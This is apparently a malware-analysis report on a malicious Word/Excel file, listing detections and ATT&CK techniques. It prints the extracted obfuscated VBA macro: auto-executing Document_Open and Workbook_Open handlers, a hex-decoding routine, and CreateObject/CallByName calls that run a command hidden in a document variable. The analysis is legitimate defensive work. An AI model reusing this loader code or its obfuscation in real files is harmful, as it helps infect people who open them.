MALICIOUS
344
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample contains heavily obfuscated VBA macros, including auto-executing Document_Open and Workbook_Open subroutines. These macros utilize CreateObject and CallByName functions, indicative of attempts to execute arbitrary code. The obfuscated nature and the use of these functions suggest the script's primary purpose is to download and execute a second-stage payload. The ClamAV detection of 'Xls.Malware.Valyria-6700360-0' further supports its malicious nature.
Heuristics 10
-
ClamAV: Xls.Malware.Valyria-6700360-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Valyria-6700360-0
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
CallByName call high OLE_VBA_CALLBYNAMECallByName call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2607 bytes |
SHA-256: 5baacd5f7aa69b64bd43bd4bb31f89674d1e5025a58b5e5145bea195115ac68c |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 6 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function UCMNW() As String
D aUCMNW As String
aUCMNW = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myUCMNW = aUCMNW
DimDimMsgBox ((aUCMNW & myUCMNW, 28))
End Function
Public Sub C_()
Dim IOU_ As Object: Set IOU_ = CreateObject(IX_("797585948B929650758A878E8E"))
CallByName IOU_, IX_("749790"), VbMethod, IX_(ActiveDocument.Variables("WHHXE").Value), 0, True
End Sub
Private Function BSZCY() As String
D aBSZCY As String
aBSZCY = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myBSZCY = aBSZCY
DimDimMsgBox ((aBSZCY & myBSZCY, 28))
End Function
Sub WHQJWNE_()
C_
End Sub
Private Function KQCOR() As String
D aKQCOR As String
aKQCOR = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myKQCOR = aKQCOR
DimDimMsgBox ((aKQCOR & myKQCOR, 28))
End Function
Public Sub Document_Open()
Application.Run IX_("796A736C79706781")
End Sub
Private Function NGRTL() As String
D aNGRTL As String
aNGRTL = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myNGRTL = aNGRTL
DimDimMsgBox ((aNGRTL & myNGRTL, 28))
End Function
Sub Workbook_Open()
WHQJWNE_
End Sub
Private Function PGGQV() As String
D aPGGQV As String
aPGGQV = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myPGGQV = aPGGQV
DimDimMsgBox ((aPGGQV & myPGGQV, 28))
End Function
Public Function IX_(ByVal IOU_ As String)
Dim QS_ As String
Dim R_ As Long
For R_ = 1 To Len(IOU_) Step 2
Dim IZ_ As Long: IZ_ = CLng(Chr(38) & Chr(72) & Mid(IOU_, R_, 2))
QS_ = QS_ & Chr(IZ_ - 34)
Next
IX_ = QS_
End Function
Private Function ZYJQL() As String
D aZYJQL As String
aZYJQL = "809080804C80666A809A80A79580A9B9B2804F5277848080808C80808F5341806780B080A6B08E7F80A4954F80A080805A99AEBF8047A1807380808A9B8080995181"
Dim myZYJQL = aZYJQL
DimDimMsgBox ((aZYJQL & myZYJQL, 28))
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.